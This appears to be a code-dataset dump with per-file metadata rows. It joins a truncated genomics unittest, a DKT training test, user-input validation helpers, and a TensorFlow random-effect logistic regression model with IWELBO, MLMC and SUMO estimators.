print_results = False
self.assertEqual((True, True, True), process_two_genomes.process_chromosome(chr_name_A, chr_name_B, outfile_vcf,
outfile_vcf_removed, outfile_vcf_LOH_removed, report_out_temp, print_results))
vect_data = self.utils.read_text_file(report_out_temp)
self.assertEqual(1, len(vect_data))
self.assertEqual("3 95 5 0 2077 7 27 2182 2179 minimap2 100.00", vect_data[0])
self.assertTrue(os.path.getsize(outfile_vcf) > 200)
## remove files
self.utils.remove_file(report_out_temp)
self.utils.remove_file(outfile_vcf)
self.utils.remove_file(outfile_vcf_removed)
self.utils.remove_file(outfile_vcf_LOH_removed)
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.test_process_chromosome']
unittest.main() | 45.184466 | 117 | 0.770735 | 1,515 | 9,308 | 4.305611 | 0.071947 | 0.068987 | 0.05059 | 0.036793 | 0.943584 | 0.942818 | 0.942818 | 0.942818 | 0.942818 | 0.942205 | 0 | 0.03376 | 0.1026 | 9,308 | 206 | 118 | 45.184466 | 0.747157 | 0.017082 | 0 | 0.843537 | 0 | 0 | 0.1391 | 0.065368 | 0 | 0 | 0 | 0 | 0.204082 | 1 | 0.034014 | false | 0 | 0.020408 | 0 | 0.068027 | 0.068027 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2b4563c43725a0cf9247953eecb26ed4c1d076d7 | 2,407 | py | Python | tests/test_dkt.py | bikong2/TKT | d8145aeee2e9ec6c35fd748370bb1df4177181b3 | [
"MIT"
] | 8 | 2020-01-05T08:10:30.000Z | 2021-08-16T07:28:55.000Z | tests/test_dkt.py | bikong2/TKT | d8145aeee2e9ec6c35fd748370bb1df4177181b3 | [
"MIT"
] | null | null | null | tests/test_dkt.py | bikong2/TKT | d8145aeee2e9ec6c35fd748370bb1df4177181b3 | [
"MIT"
] | 6 | 2020-01-16T07:30:18.000Z | 2022-03-12T00:33:00.000Z | # coding: utf-8
# 2019/12/11 @ tongshiwei
from TKT.DKT import DKT
def test_train(root_data_dir, dataset):
# test for DKT
DKT.run(
[
"train", "$data_dir/train.json", "$data_dir/test.json",
"--workspace", "DKT",
"--hyper_params",
"nettype=DKT;ku_num=int(50);hidden_num=int(100);dropout=float(0.5)",
"--end_epoch", "int(1)",
"--ctx", "cpu",
"--dataset", dataset,
"--root_data_dir", root_data_dir,
"--data_dir", "$root_data_dir"
]
)
# test for DKT+
try:
DKT.run(
[
"train", "$data_dir/train.json", "$data_dir/test.json",
"--workspace", "DKT+",
"--hyper_params",
"nettype=DKT;ku_num=int(50);hidden_num=int(100);latent_dim=int(35);dropout=float(0.5)",
"--loss_params", "lr=float(0.1);lw1=float(0.003);lw2=float(3.0)",
"--end_epoch", "int(1)",
"--ctx", "cpu",
"--dataset", dataset,
"--root_data_dir", root_data_dir,
"--data_dir", "$root_data_dir"
]
)
except ValueError:
assert True
# test for EmbedDKT
DKT.run(
[
"train", "$data_dir/train.json", "$data_dir/test.json",
"--workspace", "DKT",
"--hyper_params",
"nettype=EmbedDKT;ku_num=int(50);hidden_num=int(100);latent_dim=int(35);dropout=float(0.5)",
"--end_epoch", "int(1)",
"--ctx", "cpu",
"--dataset", dataset,
"--root_data_dir", root_data_dir,
"--data_dir", "$root_data_dir"
]
)
# test for EmbedDKT+
try:
DKT.run(
[
"train", "$data_dir/train.json", "$data_dir/test.json",
"--workspace", "EmbedDKT+",
"--hyper_params",
"nettype=EmbedDKT;ku_num=int(50);hidden_num=int(100);latent_dim=int(35);dropout=float(0.5)",
"--loss_params", "lr=float(0.1);lw1=float(0.003);lw2=float(3.0)",
"--end_epoch", "int(1)",
"--ctx", "cpu",
"--dataset", dataset,
"--root_data_dir", root_data_dir,
"--data_dir", "$root_data_dir"
]
)
except ValueError:
assert True
| 31.671053 | 108 | 0.468633 | 273 | 2,407 | 3.912088 | 0.201465 | 0.163858 | 0.133895 | 0.11236 | 0.886704 | 0.886704 | 0.886704 | 0.886704 | 0.886704 | 0.886704 | 0 | 0.042949 | 0.35189 | 2,407 | 75 | 109 | 32.093333 | 0.641667 | 0.041961 | 0 | 0.709677 | 0 | 0.096774 | 0.448021 | 0.181383 | 0 | 0 | 0 | 0 | 0.032258 | 1 | 0.016129 | false | 0 | 0.016129 | 0 | 0.032258 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2b6701e639b547d49d78d31af8e3f4d210886471 | 3,566 | py | Python | reading_from_user.py | Wawa-byte/Attendance_project | b98803810e7bc8ef2db3c431d3f2066a8483f62e | [
"MIT"
] | null | null | null | reading_from_user.py | Wawa-byte/Attendance_project | b98803810e7bc8ef2db3c431d3f2066a8483f62e | [
"MIT"
] | null | null | null | reading_from_user.py | Wawa-byte/Attendance_project | b98803810e7bc8ef2db3c431d3f2066a8483f62e | [
"MIT"
] | null | null | null | def read_nonempty_string(prompt):
while True:
s = input(prompt)
s_with_no_spaces = s.replace(' ', '')
if len(s_with_no_spaces) > 0:
break
else:
print("Please type letters only")
return s
def read_nonempty_alphabetical_string(prompt):
something_is_wrong = True
while something_is_wrong:
s = input(prompt)
copy_without_spaces = s.replace(" ", "")
if len(s) > 0 and copy_without_spaces.isalpha():
something_is_wrong = False
else:
print("Letters only please...")
return s
def read_positive_integer(prompt):
something_is_wrong = True
while something_is_wrong:
try:
number = int(input(prompt))
something_is_wrong = number <= 0
if number <= 0:
print("Number must be positive")
except:
print("Must be numeric...")
return number
def read_integer(prompt):
something_is_wrong = True
while something_is_wrong:
try:
number = int(input(prompt))
something_is_wrong = False
except:
print("Must be numeric...")
return number
def read_range_integer(prompt, min_range, max_range):
something_is_wrong = True
while something_is_wrong:
try:
number = int(input(prompt))
if min_range <= number <= max_range:
something_is_wrong = False
else:
print("The values you have entered are out of range. Please try again")
except:
print("Value must be numeric")
return number
def read_nonnegative_integer(prompt):
something_is_wrong = True
while something_is_wrong:
try:
number = int(input(prompt))
if number >= 0:
something_is_wrong = False
else:
print("Non-negative numbers please...")
except:
print("Must be numeric...")
return number
def read_float(prompt):
something_is_wrong = True
while something_is_wrong:
try:
number = float(input(prompt))
something_is_wrong = False
except:
print("Must be numeric...")
return number
def read_nonnegative_float(prompt):
something_is_wrong = True
while something_is_wrong:
try:
number = float(input(prompt))
if number >= 0:
something_is_wrong = False
else:
print("Non-negative numbers please...")
except:
print("Must be numeric...")
return number
def read_range_float(prompt, min_range, max_range):
something_is_wrong = True
while something_is_wrong:
try:
number = float(input(prompt))
if min_range <= number <= max_range:
something_is_wrong = False
else:
print("Values out of range...please try again...")
except:
print("Must be numeric...")
return number
def read_percentage_float(prompt):
something_is_wrong = True
while something_is_wrong:
try:
number = float(input(prompt))
if 100 >= number >= 0:
something_is_wrong = False
else:
print("Non-negative numbers please...")
except:
print("Must be numeric...")
return number | 28.301587 | 88 | 0.547392 | 385 | 3,566 | 4.833766 | 0.161039 | 0.159592 | 0.232133 | 0.118216 | 0.819452 | 0.819452 | 0.781838 | 0.781838 | 0.721118 | 0.649651 | 0 | 0.004454 | 0.370443 | 3,566 | 126 | 89 | 28.301587 | 0.824499 | 0 | 0 | 0.768519 | 0 | 0 | 0.119407 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.092593 | false | 0 | 0 | 0 | 0.185185 | 0.148148 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
992b060f732a832a0efeaad34cd7cb02dfb82527 | 24,701 | py | Python | src/models/random_effect_logistic_regression.py | Goda-Research-Group/mlmc-model-evidence | fd3bb26380df0dc373f6bd901d8305ed5b4c5eff | [
"MIT"
] | 3 | 2021-04-09T12:15:48.000Z | 2021-12-26T05:42:15.000Z | src/models/random_effect_logistic_regression.py | Goda-Research-Group/mlmc-model-evidence | fd3bb26380df0dc373f6bd901d8305ed5b4c5eff | [
"MIT"
] | null | null | null | src/models/random_effect_logistic_regression.py | Goda-Research-Group/mlmc-model-evidence | fd3bb26380df0dc373f6bd901d8305ed5b4c5eff | [
"MIT"
] | null | null | null | import tensorflow as tf
import tensorflow_probability as tfp
import numpy as np
from matplotlib import pyplot as plt
from scipy.stats import bernoulli, norm
# Utilities
sigmoid = lambda x: 1/(1+np.exp(-x))
softplus = lambda x: np.log(1+np.exp(x))
as_tf_float = lambda x: tf.cast(x, tf.float64)
def tf_logsumexp(ary, axis=1, keepdims=False):
return tf.math.reduce_logsumexp(ary, axis=axis, keepdims=keepdims)
def tf_logmeanexp(ary, axis=1, keepdims=False):
return tf.math.reduce_logsumexp(ary, axis=axis, keepdims=keepdims) \
- tf.math.log(as_tf_float(ary.shape[axis]))
class random_effect_logistic_regression:
def __init__(self, alpha=None, beta0=None, beta=None, D=None):
self.D = beta.shape[0] if D is None else D
if alpha is None: alpha = 0.
if beta0 is None: beta0 = 0.
if beta is None: beta = np.zeros([self.D], dtype=np.float64)
self.alpha = tf.Variable(alpha, dtype=tf.float64)
self.beta0 = tf.Variable(beta0, dtype=tf.float64)
self.beta = tf.Variable(beta, dtype=tf.float64)
def sigmoid_normal_prob(self, x):
(N, T, D) = x.shape
# Compute p(Y=1|X=x) for N samples of x_n
kappa = 1 / (1 + np.pi*tf.math.softplus(self.alpha)/8)**(1/2)
return tf.math.sigmoid( kappa * (self.beta0 + tf.reshape( x@tf.reshape(self.beta, [D,1]), [N, T])) )
def sigmoid_normal_likelihood(self, x, y):
# Compute log p(Y=y|X=x) for N samples of (x_n, y_n) and sum them up
pred_prob = self.sigmoid_normal_prob(x)
score = tf.reduce_mean(tf.reduce_sum(
tf.math.log(pred_prob)*y + tf.math.log(1-pred_prob)*(1-y),
axis=1))
return score
def laplace_approx(self, x, y):
"""
Compute the mean and the varince of the
Laplace approximation of p(z|x,y) for each sample point.
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
Returns:
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
"""
(N, T, D) = x.shape
z = np.zeros([N, 1])
alpha = self.alpha.numpy()
beta0 = self.beta0.numpy()
beta = self.beta.numpy()
_sig = lambda z: sigmoid( z + beta0 + x@beta )# utility
# Newton optimization to calculate the MAP of z|x,y
for i in range(10):
sig = _sig(z)
hessian = 1/softplus(alpha) + np.sum( sig*(1-sig), axis=1, keepdims=True)
grad = z/softplus(alpha) + np.sum( sig - y, axis=1, keepdims=True)
z -= grad / hessian
mu = z.reshape([N])
sigma = (1 / hessian).reshape([N])**(1/2)
q_params = {'mu':mu, 'sigma':sigma}
return q_params
def pointwise_IWELBO(self, x, y, z, q_param):
"""
Compute IWELBOs using n_MC inner Monte Carlo samples of Z's at each sample point.
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
z: 1-d array of size [n_MC, N]
q_param['mu']: 1-d array of [N]
q_param['sigma']: 1-d array of [N]
Returns:
iwelbos: 1-d array of size [N]
"""
(N, T, D), (n_MC, _) = x.shape, z.shape
y = as_tf_float( tf.reshape(y, [1,N,T]) )
mu = tf.reshape(q_param['mu'], [1,N])
sigma = tf.reshape(q_param['sigma'], [1,N])
y_logits = tf.convert_to_tensor( self.beta0\
+ tf.reshape( x@tf.reshape(self.beta, [D,1]), [1, N, T])\
+ tf.reshape(z, [n_MC, N, 1])
)
p_y = tfp.distributions.Bernoulli(logits=y_logits)
p_z = tfp.distributions.Normal(loc=np.zeros([1, N]), scale=tf.math.softplus(self.alpha)**(1/2.))
q_z = tfp.distributions.Normal(loc=mu, scale=sigma)
log_prob_ratios = \
tf.reduce_sum( p_y.log_prob(y), axis=2)\
+ p_z.log_prob(z)\
- q_z.log_prob(z)
iwelbos = tf_logmeanexp(log_prob_ratios, axis=0)
return iwelbos
def IWELBO(self, x, y, n_MC):
"""
Compute IWELBO
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
q_param['mu']: 1-d array of [N]
q_param['sigma']: 1-d array of [N]
Returns:
iwelbo: scalar value of average of iwelbo's at each sample point.
"""
q_param = self.laplace_approx(x, y)
mu = q_param['mu']
sigma = q_param['sigma']
N, = mu.shape
z = norm(loc=mu, scale=sigma).rvs([n_MC, N])
iwelbo = tf.reduce_mean( self.pointwise_IWELBO(x, y, z, q_param) )
return iwelbo
def JVI_IWELBO(self, x, y, n_MC):
"""
Compute first order Jackknife estimator of IWELBO
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
q_param['mu']: 1-d array of [N]
q_param['sigma']: 1-d array of [N]
Returns:
iwelbo: scalar value of average of iwelbo's at each sample point.
"""
if n_MC==1:
return self.IWELBO(x, y, n_MC)
N,T,D = x.shape
K = n_MC
q_param = self.laplace_approx(x, y)
mu = tf.reshape(q_param['mu'], [1,N])
sigma = tf.reshape(q_param['sigma'], [1,N])
z = norm(loc=mu, scale=sigma).rvs([n_MC, N])
y = as_tf_float( tf.reshape(y, [1,N,T]) )
y_logits = tf.convert_to_tensor( self.beta0\
+ tf.reshape( x@tf.reshape(self.beta, [D,1]), [1, N, T])\
+ tf.reshape(z, [n_MC, N, 1])
)
p_y = tfp.distributions.Bernoulli(logits=y_logits)
p_z = tfp.distributions.Normal(loc=np.zeros([1, N]), scale=tf.math.softplus(self.alpha)**(1/2.))
q_z = tfp.distributions.Normal(loc=mu, scale=sigma)
log_prob_ratios = \
tf.reduce_sum( p_y.log_prob(y), axis=2)\
+ p_z.log_prob(z)\
- q_z.log_prob(z)
iwelbos = tf_logmeanexp(log_prob_ratios, axis=0)
jvi_iwelbos = K * iwelbos
'''
for k in range(K):
log_probs_tmp = tf.concat([log_prob[:, :k], log_prob[:, k+1:])
jvi_iwelbos -= (K-1) / K * tf_logmeanexp( log_prob_tmp )
'''
jvi_iwelbos -= (K-1) * np.log(K/(K-1))
jvi_iwelbos -= (K-1) * tf.reduce_mean(
tf.math.log(tf.expand_dims(tf.math.exp(iwelbos), 0) - (1/K) * tf.math.exp(log_prob_ratios)),
axis=0
)
return tf.reduce_mean(jvi_iwelbos)
def pointwise_dIWELBO(self, x, y, z, q_param):
"""
Compute the coupled differences of IWELBO's at each sample point.
Differences between "IWELBO with n_MC inner Monte Carlo samples"
and "IWELBO with n_MC/2 inner Monte Carlo samples" are taken.
Note that difference is not taken when n_MC = 1.
In that case, IWELBO with n_MC = 1 is Evaluated.
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
z: 1-d array of size [n_MC, N]
q_param['mu']: 1-d array of [N]
q_param['sigma']: 1-d array of [N]
Returns:
scores: 1-d array of size [N]
"""
(N, T, D), (n_MC, N) = x.shape, z.shape
assert np.log2(n_MC)%1==0
if n_MC == 1:
scores = self.pointwise_IWELBO(x, y, z, q_param)
else:
scores = self.pointwise_IWELBO(x, y, z, q_param)
scores -= (1/2.) * self.pointwise_IWELBO(x, y, z[:n_MC//2 ], q_param)
scores -= (1/2.) * self.pointwise_IWELBO(x, y, z[ n_MC//2:], q_param)
return scores
def dIWELBO(self, x, y, level):
"""
Compute average of the coupled differences of IWELBO's with n_MC.
Differences between "IWELBO with n_MC inner Monte Carlo samples"
and "IWELBO with n_MC/2 inner Monte Carlo samples" are taken.
Note that difference is not taken when n_MC = 1.
In that case, average IWELBO with n_MC = 1 is Evaluated.
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
Returns:
score: scalar value of average of differnece of iwelbo's at each sample point (except when n_MC=1).
"""
n_MC = 2**level
N,_,_ = x.shape
q_param = self.laplace_approx(x, y)
mu = q_param['mu']
sigma = q_param['sigma']
z = norm(loc=mu, scale=sigma).rvs([n_MC, N])
score = tf.reduce_mean( self.pointwise_dIWELBO(x, y, z, q_param) )
return score
def IWELBO_MLMC(self, x, y, max_level=8, w0=1-2.**(-3/2), b=2, randomize=False):
"""
Compute IWELBO by MLMC
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
max_level: integer
w0: the proportion of total samples in (x,y) used at the level 0.
in other words, 100*(1-w0) % of the total samples are used for estimating the correction term.
b: scalar. the second moment of the coupled difference estimator (dIWELBO) must decrease at a rate of O(2^(-b*level)).
randomize: whether to use randomization of MLMC.
Returns:
iwelbo: scalar estimate of average iwelbo over sample points.
"""
N, T, D = x.shape
# determine proportions of the number of smaples among levels
if max_level==0:
levels = np.array([0])
weights = np.array([1.])
else:
weights = 2.**(-(b+1)/2*np.arange(max_level))
weights /= sum(weights)
weights = np.concatenate([[w0], (1-w0)*weights])
levels = np.arange(max_level+1)
# determine the N_l's
if randomize==True:
Ns = np.random.multinomial(n=N, pvals=weights)
elif randomize==False:
Ns = np.array([np.math.ceil(w*N) for w in weights], dtype=np.int)
Ns[0] = N - sum(Ns[1:])
else:
raise(Exception("Invarid argument for 'randomize' of function IWELBO_MLMC. It must be True or False."))
# compute dIWELBO's using disjoint samples at each level and sum them up
offset = 0
iwelbo = 0
for i, l in enumerate(levels):
if Ns[i]==0:
continue
x_tmp = x[offset:offset+Ns[i]]
y_tmp = y[offset:offset+Ns[i]]
if randomize==True:
iwelbo += self.dIWELBO(x_tmp, y_tmp, level=l) * Ns[i] / N / weights[i]
elif randomize==False:
iwelbo += self.dIWELBO(x_tmp, y_tmp, level=l)
offset += Ns[i]
return iwelbo
def conditional_IWELBO_SUMO(self, x, y, K):
"""
Compute IWELBO by SUMO for one sample point, given K
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
beta0: scalar
beta: 1-d array of size [D]
alpha: scalar
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
K: integer
Returns:
iwelbo: scalar estimate of iwelbo at the given sample point.
"""
N,T,D = x.shape
q_param = self.laplace_approx(x, y)
mu = q_param['mu']
sigma = q_param['sigma']
z = tf.random.normal(mean=mu, stddev=sigma, shape=[K,N], dtype=tf.float64)
# compute prob ratio of shape [K,N]
y_logits = self.beta0 + tf.reshape( x @ tf.reshape(self.beta,[D,1]), [1,N,T] ) + tf.reshape(z,[K,N,1])
p_y = tfp.distributions.Bernoulli(logits=y_logits)
p_z = tfp.distributions.Normal(loc=0, scale=tf.math.softplus(self.alpha)**(1/2.))
q_z = tfp.distributions.Normal(loc=mu, scale=sigma)
log_prob_ratio = \
tf.reduce_sum( p_y.log_prob(y), axis=2)\
+ p_z.log_prob(z)\
- q_z.log_prob(z)
# compute SUMO est.
ks = tf.reshape( tf.cast( tf.range(0,K) + 1, tf.float64), [K,1])
cum_iwelbo = tf.math.cumulative_logsumexp(log_prob_ratio, axis=0) - tf.math.log(ks)
inv_weights = ks
iwelbo = cum_iwelbo[0,:] + tf.reduce_sum(inv_weights[1:] * (cum_iwelbo[1:] - cum_iwelbo[:K-1]), axis=0)
return iwelbo
def IWELBO_SUMO(self, x, y, K_max=64):
"""
Compute IWELBO by MLMC
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
beta0: scalar
beta: 1-d array of size [D]
alpha: scalar
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
K_max: integer
Returns:
iwelbo: scalar estimate of average iwelbo over sample points.
"""
N,T,D = x.shape
Us = tf.random.uniform(shape=[N], dtype=tf.float64)
Ks = tf.minimum(1/Us, tf.cast(K_max, tf.float64))
Ks = tf.cast(tf.math.floor(Ks), tf.int64)
unique, _, counts = tf.unique_with_counts(tf.sort(Ks))
offset = 0
iwelbo = 0
for K, cnt in zip(unique, counts):
x_tmp = x[offset:offset+cnt]
y_tmp = y[offset:offset+cnt]
iwelbo += (1/N) * tf.reduce_sum( self.conditional_IWELBO_SUMO(x_tmp, y_tmp, K) )
offset += cnt
return iwelbo
class bayesian_random_effect_logistic_regression(random_effect_logistic_regression):
def __init__(self, alpha=None, beta0=None, beta=None, D=None, N_total=None):
super(bayesian_random_effect_logistic_regression, self).__init__(alpha, beta0, beta, D)
self.N_total = N_total
# additional parameters which express the variance of the posterior of betas
self.inv_sp_stddev_beta0 = tf.Variable(0., dtype=tf.float64)
self.inv_sp_stddev_beta = tf.Variable(np.zeros([self.D]), dtype=tf.float64)
# parameters for prior of betas
self.prior_stddev_beta0 = tf.Variable(1., dtype=tf.float64)
self.prior_stddev_beta = tf.Variable(np.ones([self.D]), dtype=tf.float64)
def sample_betas(self, N):
"""
Sample beta0 and beta from posterior distribution (variational approximation).
Arguments:
N: the number of samples, usually set to be the batch size.
"""
beta0_stddev = tf.math.softplus( self.inv_sp_stddev_beta0 )
beta_stddev = tf.math.softplus( self.inv_sp_stddev_beta )
beta0 = tf.random.normal(mean=self.beta0, stddev=beta0_stddev, shape=[N,1], dtype=tf.float64)
beta = tf.random.normal(mean=self.beta, stddev=beta_stddev, shape=[N,self.D], dtype=tf.float64)
return beta0, beta
def sigmoid_normal_prob(self, x):
"""
Compute p(Y=1|X=x, beta) for N samples of x_n's,
for betas sampled from posterior
Output:
prob: of shape [N, T]
"""
(N, T, D) = x.shape
beta0, beta = self.sample_betas(N)
kappa = 1 / (1 + np.pi*tf.math.softplus(self.alpha)/8)**(1/2)
return tf.math.sigmoid( kappa * ( beta0 + tf.reshape( x@tf.expand_dims(beta, 2), [N, T])) )
def sigmoid_normal_likelihood(self, x, y):
# Compute log p(Y=y|X=x) for N samples of (x_n, y_n) and sum them up
pred_prob = self.sigmoid_normal_prob(x)
score = tf.reduce_mean(tf.reduce_sum(
tf.math.log(pred_prob)*y + tf.math.log(1-pred_prob)*(1-y),
axis=1))
return score
def laplace_approx(self, x, y):
"""
Compute the mean and the varince of the
Laplace approximation of p(z|x,y) for each sample point.
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
Returns:
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
beta0: 2-d array of [N, 1]
beta: 2-d array of [N, D]
"""
(N, T, D) = x.shape
z = np.zeros([N, 1])
alpha = self.alpha.numpy()
beta0, beta = self.sample_betas(N)
np_beta0 = beta0.numpy()
np_beta = beta.numpy()
_sig = lambda z: sigmoid( z + np_beta0 + tf.einsum("NTD, ND->NT",x,np_beta) )# utility
# Newton optimization to calculate the MAP of z|x,y
for i in range(10):
sig = _sig(z)
hessian = 1/softplus(alpha) + np.sum( sig*(1-sig), axis=1, keepdims=True)
grad = z/softplus(alpha) + np.sum( sig - y, axis=1, keepdims=True)
z -= grad / hessian
mu = z.reshape([N])
sigma = (1 / hessian).reshape([N])**(1/2) * 2 # When the coupling is not stable, wider proposal distribution makes the coupling more stable.
q_params = {'mu':mu, 'sigma':sigma, 'beta0':beta0, 'beta':beta}
return q_params
def kl_div_betas(self):
beta0_stddev = tf.math.softplus( self.inv_sp_stddev_beta0 )
beta_stddev = tf.math.softplus( self.inv_sp_stddev_beta )
kl0 = tf.math.log(self.prior_stddev_beta0 / beta0_stddev) \
+ (beta0_stddev**2 + self.beta0**2) / (2. * self.prior_stddev_beta0**2)\
- 1./2.
kl = tf.reduce_sum(
tf.math.log(self.prior_stddev_beta / beta_stddev) \
+ (beta_stddev**2 + self.beta**2) / (2. * self.prior_stddev_beta**2)\
- 1./2.
)
return kl0 + kl
def pointwise_IWELBO(self, x, y, z, q_param):
"""
Compute IWELBOs using n_MC inner Monte Carlo samples of Z's at each sample point.
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
z: 1-d array of size [n_MC, N]
q_param['mu']: 1-d array of [N]
q_param['sigma']: 1-d array of [N]
q_param['beta0']: 2-d array of [N, 1]
q_param['beta']: 2-d array of [N, D]
Returns:
iwelbos: 1-d array of size [N]
"""
(N, T, D), (n_MC, n) = x.shape, z.shape
y = as_tf_float( tf.reshape(y, [1,N,T]) )
mu = tf.reshape(q_param['mu'], [1,N])
sigma = tf.reshape(q_param['sigma'], [1,N])
beta0 = q_param['beta0']
beta = q_param['beta']
y_logits = tf.convert_to_tensor( tf.reshape(beta0, [1, N, 1])\
+ tf.reshape( x@tf.reshape(beta, [N, D, 1]), [1, N, T])\
+ tf.reshape(z, [n_MC, N, 1])
)
p_y = tfp.distributions.Bernoulli(logits=y_logits)
p_z = tfp.distributions.Normal(loc=np.zeros([1, N]), scale=tf.math.softplus(self.alpha)**(1/2.))
q_z = tfp.distributions.Normal(loc=mu, scale=sigma)
log_prob_ratios = \
tf.reduce_sum( p_y.log_prob(y), axis=2)\
+ p_z.log_prob(z)\
- q_z.log_prob(z)
iwelbos = tf_logmeanexp(log_prob_ratios, axis=0)
return iwelbos
def IWELBO_MLMC(self, x, y, max_level=8, w0=1-2.**(-3/2), b=2, randomize=False):
"""
Compute IWELBO by MLMC
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
max_level: integer
w0: the proportion of total samples in (x,y) used at the level 0.
in other words, 100*(1-w0) % of the total samples are used for estimating the correction term.
b: scalar. the second moment of the coupled difference estimator (dIWELBO) must decrease at a rate of O(2^(-b*level)).
randomize: whether to use randomization of MLMC.
Returns:
iwelbo: scalar estimate of average iwelbo over sample points.
"""
N, T, D = x.shape
# determine proportions of the number of smaples among levels
if max_level==0:
levels = np.array([0])
weights = np.array([1.])
else:
weights = 2.**(-(b+1)/2*np.arange(max_level))
weights /= sum(weights)
weights = np.concatenate([[w0], (1-w0)*weights])
levels = np.arange(max_level+1)
# determine the N_l's
if randomize==True:
Ns = np.random.multinomial(n=N, pvals=weights)
elif randomize==False:
Ns = np.array([np.math.ceil(w*N) for w in weights], dtype=np.int)
Ns[0] = N - sum(Ns[1:])
else:
raise(Exception("Invarid argument for 'randomize' of function IWELBO_MLMC. It must be True or False."))
# compute dIWELBO's using disjoint samples at each level and sum them up
offset = 0
iwelbo = 0
for i, l in enumerate(levels):
if Ns[i]==0:
continue
x_tmp = x[offset:offset+Ns[i]]
y_tmp = y[offset:offset+Ns[i]]
if randomize==True:
iwelbo += self.dIWELBO(x_tmp, y_tmp, level=l) * Ns[i] / N / weights[i]
elif randomize==False:
iwelbo += self.dIWELBO(x_tmp, y_tmp, level=l)
offset += Ns[i]
return iwelbo
def conditional_IWELBO_SUMO(self, x, y, K):
"""
Compute IWELBO by SUMO for one sample point, given K
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
q_param['mu']: 1-d array of [N]
q_param['sigma']: 1-d array of [N]
q_param['beta0']: 2-d array of [N, 1]
q_param['beta']: 2-d array of [N, D]
K: integer
Returns:
iwelbo: scalar estimate of iwelbo at the given sample point.
"""
N,T,D = x.shape
q_param = self.laplace_approx(x, y)
mu = q_param['mu']
sigma = q_param['sigma']
beta0 = q_param['beta0']
beta = q_param['beta']
z = tf.random.normal(mean=mu, stddev=sigma, shape=[K,N], dtype=tf.float64)
# compute prob ratio of shape [K,N]
y_logits = tf.reshape( beta0, [1, N, 1]) \
+ tf.reshape( x @ tf.reshape(beta,[N,D,1]), [1,N,T] ) \
+ tf.reshape(z,[K,N,1])
p_y = tfp.distributions.Bernoulli(logits=y_logits)
p_z = tfp.distributions.Normal(loc=0, scale=tf.math.softplus(self.alpha)**(1/2.))
q_z = tfp.distributions.Normal(loc=mu, scale=sigma)
log_prob_ratio = \
tf.reduce_sum( p_y.log_prob(y), axis=2)\
+ p_z.log_prob(z)\
- q_z.log_prob(z)
# compute SUMO est.
ks = tf.reshape( tf.cast( tf.range(0,K) + 1, tf.float64), [K,1])
cum_iwelbo = tf.math.cumulative_logsumexp(log_prob_ratio, axis=0) - tf.math.log(ks)
inv_weights = ks
iwelbo = cum_iwelbo[0,:] + tf.reduce_sum(inv_weights[1:] * (cum_iwelbo[1:] - cum_iwelbo[:K-1]), axis=0)
return iwelbo
def IWELBO_SUMO(self, x, y, K_max=64):
"""
Compute IWELBO by MLMC
Arguments:
x: 3-d array of size [N, T, D]
y: 2-d array of size [N, T]
beta0: scalar
beta: 1-d array of size [D]
alpha: scalar
mu: 1-d array of size [N]
sigma: 1-d array of size [N]
K_max: integer
Returns:
iwelbo: scalar estimate of average iwelbo over sample points.
"""
N,T,D = x.shape
Us = tf.random.uniform(shape=[N], dtype=tf.float64)
Ks = tf.minimum(1/Us, tf.cast(K_max, tf.float64))
Ks = tf.cast(tf.math.floor(Ks), tf.int64)
unique, _, counts = tf.unique_with_counts(tf.sort(Ks))
offset = 0
iwelbo = 0
for K, cnt in zip(unique, counts):
x_tmp = x[offset:offset+cnt]
y_tmp = y[offset:offset+cnt]
iwelbo += (1/N) * tf.reduce_sum( self.conditional_IWELBO_SUMO(x_tmp, y_tmp, K) )
offset += cnt
return iwelbo
def LMELBO(self, x, y, n_MC):
return self.IWELBO(x, y, n_MC) - self.kl_div_betas() / self.N_total
def LMELBO_MLMC(self, x, y, max_level=8, w0=1-2.**(-3/2), b=2, randomize=False):
return self.IWELBO_MLMC(x, y, max_level, w0, b, randomize) - self.kl_div_betas() / self.N_total
def LMELBO_SUMO(self, x, y, K_max=64):
return self.IWELBO_SUMO(x, y, K_max) - self.kl_div_betas() / self.N_total
